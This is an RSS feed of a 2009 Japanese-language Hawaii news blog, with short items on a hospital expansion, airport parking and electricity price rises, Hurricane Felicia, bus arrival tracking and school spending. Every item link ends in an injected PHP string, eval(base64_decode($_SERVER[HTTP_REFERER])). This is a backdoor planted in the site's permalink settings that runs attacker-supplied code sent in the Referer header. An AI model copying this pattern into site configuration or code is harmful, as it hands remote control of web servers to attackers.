<?xml version="1.0" encoding="UTF-8"?><!-- generator="WordPress/2.5" -->
<rss version="0.92">
<channel>
	<title>ano Hawaii</title>
	<link>http://www.anohawaii.com</link>
	<description>アノ・ハワイの「アノ」とはハワイ語で「今(NOW)」という意味です</description>
	<lastBuildDate>Sat, 15 Aug 2009 22:00:26 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>ja</language>
	
	<item>
		<title>パリ・モミ病院が拡張</title>
		<description>パールリッジ（Pearlridge）にあるパリ・モミ病院（Pali Momi Medical Center）が拡張するそうです。救急処置室を20%、女性のセンターを約2倍のスペースに広げる計画で、救急処置室が現在の15から今後6カ月で18に広がるそうです。同病院のベッド数は116だそうです。同病院の急患受付は、1989年には1ケ月当たり約500人だったのが現在は3,000人以上に上昇してしているそうです。現在も進行していますが同エリア北と西に住宅が多く建設され、当時と比較して人口が急激に増えていることも患者数の上昇に大きく影響しているものと思われます。 </description>
		<link>http://www.anohawaii.com/2009/08/15/%e3%83%91%e3%83%aa%e3%83%bb%e3%83%a2%e3%83%9f%e7%97%85%e9%99%a2%e3%81%8c%e6%8b%a1%e5%bc%b5/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>ハワイの各空港付帯パーキングの料金が8/17からアップ</title>
		<description>またまた値上げの話題です。ハワイにある各空港付帯のパーキング料金が、8/17から一斉に値上がります。ホノルル空港では現行の$10/日が$13/日に、他島の空港は$7/日が$9/日にそれぞれ値上がります。ただし、ホノルル空港の場合、エコノミー・ロットと呼ぶ新しくできたパーキングビルとメイン・ターミナルビルのパーキングの間の青空パーキングに2日以上駐車する場合に限り、これまでと同じ$10/日での利用が可能となるそうです。 </description>
		<link>http://www.anohawaii.com/2009/08/14/%e3%83%8f%e3%83%af%e3%82%a4%e3%81%ae%e5%90%84%e7%a9%ba%e6%b8%af%e4%bb%98%e5%b8%af%e3%83%91%e3%83%bc%e3%82%ad%e3%83%b3%e3%82%b0%e3%81%ae%e6%96%99%e9%87%91%e3%81%8c817%e3%81%8b%e3%82%89%e3%82%a2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>ドール・プランテーションのファミリー・ファン・デー 2009</title>
		<description>一昨年から始まった「ドール・プランテーション・ファミリー・ファン・デー」が、9月26日（土）、10:00 - 14:00の日程で開催されます。このイベントは、ドールプランテーションがあるワヒアワ（Wahiawa）やノースショア地域のビジネスや学校、各団体が参加する地元密着型イベントです。イベントでは、ライブミュージック、フラ、アート＆クラフト、ケイキ（子供向け）ゲーム、抽選会など、さまざまなエンターテイメントが用意されています。当日は、近隣のヘレマノ小学校やワイアルア高校の生徒達によるゲームや食べ物屋台が出て盛り上がります。また、このイベントの収益金は各学校に寄付される事になっています。またイベント当日のみ、ギネスブックで世界最大の迷路として公認された「パイナップルガーデン迷路」」とプランテーション・ガーデンツアーが旅行客でも入場料金１人分で２人目が無料になる他、パイナップル・エクスプレスツアーもスペシャル料金で体験できます。詳細は、ドール・プランテーションのウェブサイト http://www.dole-plantation.com/JA/ をご覧ください。 </description>
		<link>http://www.anohawaii.com/2009/08/13/%e3%83%89%e3%83%bc%e3%83%ab%e3%83%bb%e3%83%97%e3%83%a9%e3%83%b3%e3%83%86%e3%83%bc%e3%82%b7%e3%83%a7%e3%83%b3%e3%81%ae%e3%83%95%e3%82%a1%e3%83%9f%e3%83%aa%e3%83%bc%e3%83%bb%e3%83%95%e3%82%a1%e3%83%b3/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>&#8220;Cash For Clunkers program（自動車購入助成制度）&#8221;の人気度</title>
		<description>ガソリン効率が悪い車を良いものに買い替えるための（自動車買換え助成金制度）がブームとなり、買換え需要が伸びているそうです。先日20億ドルの追加予算も連邦議会で承認され、さらにこのブームは続きそうですが、州別のその利用度が中間発表されていました。それをみるとハワイ州は、50州中49番目となる約70万ドルしかまだ利用されていないことがわかりました。トップはカリフォルニア州で、既に2650万ドルが利用されています。愛車を手放すのが嫌なのか、助成金が出ても新車に買い替えるだけの予算が捻出できないのか定かではありませんが、新車に買い替えるには絶好のチャンスはもうしばらくブームとなりそうです。このプログラム（古い車を手放して新車に買い換えると、連邦政府が燃費の悪い古い車を$3,500から$4,500で買い取ってくれるというもの）の規定は、1.新車登録後25年以内の車であること。2.燃費が18MPG以下であること（それ以上、いわゆる経済的な車なら対象外）。3.新車購入もしくはリース契約をする場合にのみ適応。4.買換え前の車を1年以上保険付きで所有していたことが条件となり、プログラムの有効期限は、今年の11月1日までもしくは、予算に達するまでとなっています。もちろん、今所有している車が$4,500以上で転売できるなら、このプログラムを利用せずに転売した方が絶対にお得です。 </description>
		<link>http://www.anohawaii.com/2009/08/12/cash-for-clunkers-program%ef%bc%88%e8%87%aa%e5%8b%95%e8%bb%8a%e8%b3%bc%e5%85%a5%e5%8a%a9%e6%88%90%e5%88%b6%e5%ba%a6%ef%bc%89%e3%81%ae%e4%ba%ba%e6%b0%97%e5%ba%a6/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>電気代が8月からさらに上がります</title>
		<description>ハワイ電力（HECO）の電気料金が、8月からさらに値上げされます。HECOが発表した値上げ幅は4.7%で、オアフ島内の典型的な家庭（600KW利用）の場合でみると、これまでの$122.58から$140.05に上昇するそうです。先月は、1KW/H（キロワット/時）当たり19セントから21.84セントに上昇しています。HECOは、増収分で電柱と電線のより頻繁な点検や送電線の周りの伐採頻度の増加や発電所の整備点検の増加をすると言っているそうです。他島のを見てみると、マウイ島では1KW/H（キロワット時）23.18セントから25.55セントに既に上昇し、ハワイ島では29.44セントから30.64に、カウアイ島では28.34セントから30.74セントに8月から上がるそうです。大雨やハリケーン、地震といった災害に弱いハワイの電力事情ですが、増収分で復旧までの時間短縮対策をして欲しいものです。 </description>
		<link>http://www.anohawaii.com/2009/08/11/%e9%9b%bb%e6%b0%97%e4%bb%a3%e3%81%8c8%e6%9c%88%e3%81%8b%e3%82%89%e3%81%95%e3%82%89%e3%81%ab%e4%b8%8a%e3%81%8c%e3%82%8a%e3%81%be%e3%81%99/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Feliciaはハリケーンから熱帯低気圧に　でもまだ注意が必要</title>
		<description>ハワイ諸島に近づいているFelicia（フェリシア）はハワイ時間の今日、勢力が弱まり熱帯低気圧となりましたが、依然、強風、大雨を伴っているようなので注意が必要です。またコースが北寄りとなり、現時点ではオアフ島を縦断するような予想進路になっています。このFeliciaの影響で各地に警報が出ていますが、オアフ島でも明日以降、警報が出されることが十分考えられます。勢力が弱まったとはいえ、温帯低気圧となっても風雨が依然強いため、各地に被害をもたらすことが予測されるので、事前の準備は怠らない方が良いと思われます。飲み水の確保やろうそくなど照明機器の点検も事前にしておいた方がよいでしょう。オアフ島に最接近、通過するのは、火曜日の夕方から水曜日の朝に掛けてと予測されています。明日の午後からは、だんだんFeliciaの影響が出始め、風、雨とも強くなってくると予想されています。
Feliciaの予想進路、到達時刻など最新の情報は、次のウェブサイトへ。
http://nihongo.wunderground.com/tropical/tracking/ep200908_5day.html#a_topad </description>
		<link>http://www.anohawaii.com/2009/08/10/felicia%e3%81%af%e3%83%8f%e3%83%aa%e3%82%b1%e3%83%bc%e3%83%b3%e3%81%8b%e3%82%89%e7%86%b1%e5%b8%af%e4%bd%8e%e6%b0%97%e5%9c%a7%e3%81%ab%e3%80%80%e3%81%a7%e3%82%82%e3%81%be%e3%81%a0%e6%b3%a8%e6%84%8f/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>The Busの到着予定時間をウェブで公開</title>
		<description>時刻通りの運行がされていないバスに乗り遅れて、バス停で次のバスを30分以上待ち続けた経験をお持ちの方が多いかと思います。ハワイ唯一の公共交通機関であるThe Busの現時刻以降の到着予定時刻がウェブで見れるようになりました。家や職場からバス停に向かう目安になるかと思います。この新システムはTheBus-HEAと呼ばれ、http://hea.thebus.org で見れます。

アクセス画面に通り名を入力し、Kalakaua Ave.やKapiolani Blvd.などバスの路線が多い通り名を検索すると主なバス停が表示され、最寄りのバス停名をクリックすると各々のバス停と現時刻以降の到着予測時刻が表記されます。

バスを良く利用される方には便利なツールになるかもしれません。携帯でインターネットを見ることがさらに一般化すれば、さらに使い勝手が良くなると思われます。 </description>
		<link>http://www.anohawaii.com/2009/08/09/the-bus%e3%81%ae%e5%88%b0%e7%9d%80%e4%ba%88%e5%ae%9a%e6%99%82%e9%96%93%e3%82%92%e3%82%a6%e3%82%a7%e3%83%96%e3%81%a7%e5%85%ac%e9%96%8b/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>ハリケーン Felicia（フェリシア）が月曜日にハワイに接近　ご注意を</title>
		<description>ハリケーン Felicia（フェリシア）がハワイに接近中です。予測では月曜日(8/10)夕方から火曜日(8/11)の朝に掛け、ハワイ島に上陸する可能性もあるそうで、予想範囲の最北端を進めば他の島への影響もありそうです。台風の接近により次第に東からの風雨が強くなってくるそうで、停電、浸水などに注意が必要になります。特にハワイの場合、一旦、停電になると回復までに時間が掛る場合が多いので、懐中電灯、ろうそく、飲料水などの準備、また、強風を伴うため、ラナイや庭に置いてある飛びそうなものを家の中にしまったほうがよさそうです。ハリケーンのレベルは"2"と中規模被害が最小限に収まることを願います。ハリケーンセンターからのFeliciaの予想進路、時刻など情報は、下記で見ることができます。
http://www.nhc.noaa.gov/refresh/graphics_ep3+shtml/022741.shtml?5-daynl#contents </description>
		<link>http://www.anohawaii.com/2009/08/08/%e3%83%8f%e3%83%aa%e3%82%b1%e3%83%bc%e3%83%b3-felicia%ef%bc%88%e3%83%95%e3%82%a7%e3%83%aa%e3%82%b7%e3%82%a2%ef%bc%89%e3%81%8c%e6%9c%88%e6%9b%9c%e6%97%a5%e3%81%ab%e3%83%8f%e3%83%af%e3%82%a4%e3%81%ab/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>州が賄う児童一人当たりの教育費は？</title>
		<description>ハワイ州の公立学校で児童一人当たりに使っている教育費は、年間約$11,000という数字が地元新聞に出ていました。日本と違いアメリカの義務教育は高校までなので、親は子供を公立学校に通わせていれば高校を卒業するまで授業料を支払う必要はありません。少子化はハワイも他と同じように進んでいます。一夫婦当たりの子供の数が少なくなった分、親は子供に使う教育費を集中できるようになり、中学校まで公立に通わせても高校は私立に通わせる傾向にあるようです。一方、アジア系移民が増えているハワイ州では、子供が多く親の収入も低い家庭では公立学校に通わせるのが殆どなので公立学校の数が減っているようには見受けられません。ちなみに、全米で比較した場合、トップはニューヨーク州で約$16,000、お隣のニュージャージー州が続き$15,700、バーモント州の$13,500、ワイオミング州の$13,200と続き、ハワイ州は14位に位置しているそうです。ちなみに、児童の学校教育に一番お金を使っていない州はユタ州で$5,700とトップに比べ約1/3となっているそうです。数字を一列に並べてしまうと前述のような順位になってしまいますが、州による物価の違い、先生達の給料の差、景気状況の違いにより、一概に数字だけで児童に対する各州の取り組み方を比較するのは軽率になると思われます。 </description>
		<link>http://www.anohawaii.com/2009/08/07/%e5%b7%9e%e3%81%8c%e8%b3%84%e3%81%86%e5%85%90%e7%ab%a5%e4%b8%80%e4%ba%ba%e5%bd%93%e3%81%9f%e3%82%8a%e3%81%ae%e6%95%99%e8%82%b2%e8%b2%bb%e3%81%af%ef%bc%9f/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
	<item>
		<title>上昇していたガソリン価格が一転下降へ</title>
		<description>先月初旬まで上昇していたガソリン価格が、一転、下降しています。7月中旬まで1ガロン当たり$3.00以上していたレギュラーガソリンが、最近はホノルル中心地でも$3.00を切り、1ガロン当たり$2.90台になっています。例年だと暑くなる7月から9月頃にガソリン価格が上昇していたのですが、今年は少し例年と違っています。しかし、原油価格が上昇しているという理由で値上がった電気代、ガス代、輸送費などは一向に下がる気配を見せていません。ちなみに、ホノルルのガソリン価格は、昨年の今頃に比べ$1.00以上安くなってます。 </description>
		<link>http://www.anohawaii.com/2009/08/06/%e4%b8%8a%e6%98%87%e3%81%97%e3%81%a6%e3%81%84%e3%81%9f%e3%82%ac%e3%82%bd%e3%83%aa%e3%83%b3%e4%be%a1%e6%a0%bc%e3%81%8c%e4%b8%80%e8%bb%a2%e4%b8%8b%e9%99%8d%e3%81%b8/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
			</item>
</channel>
</rss>
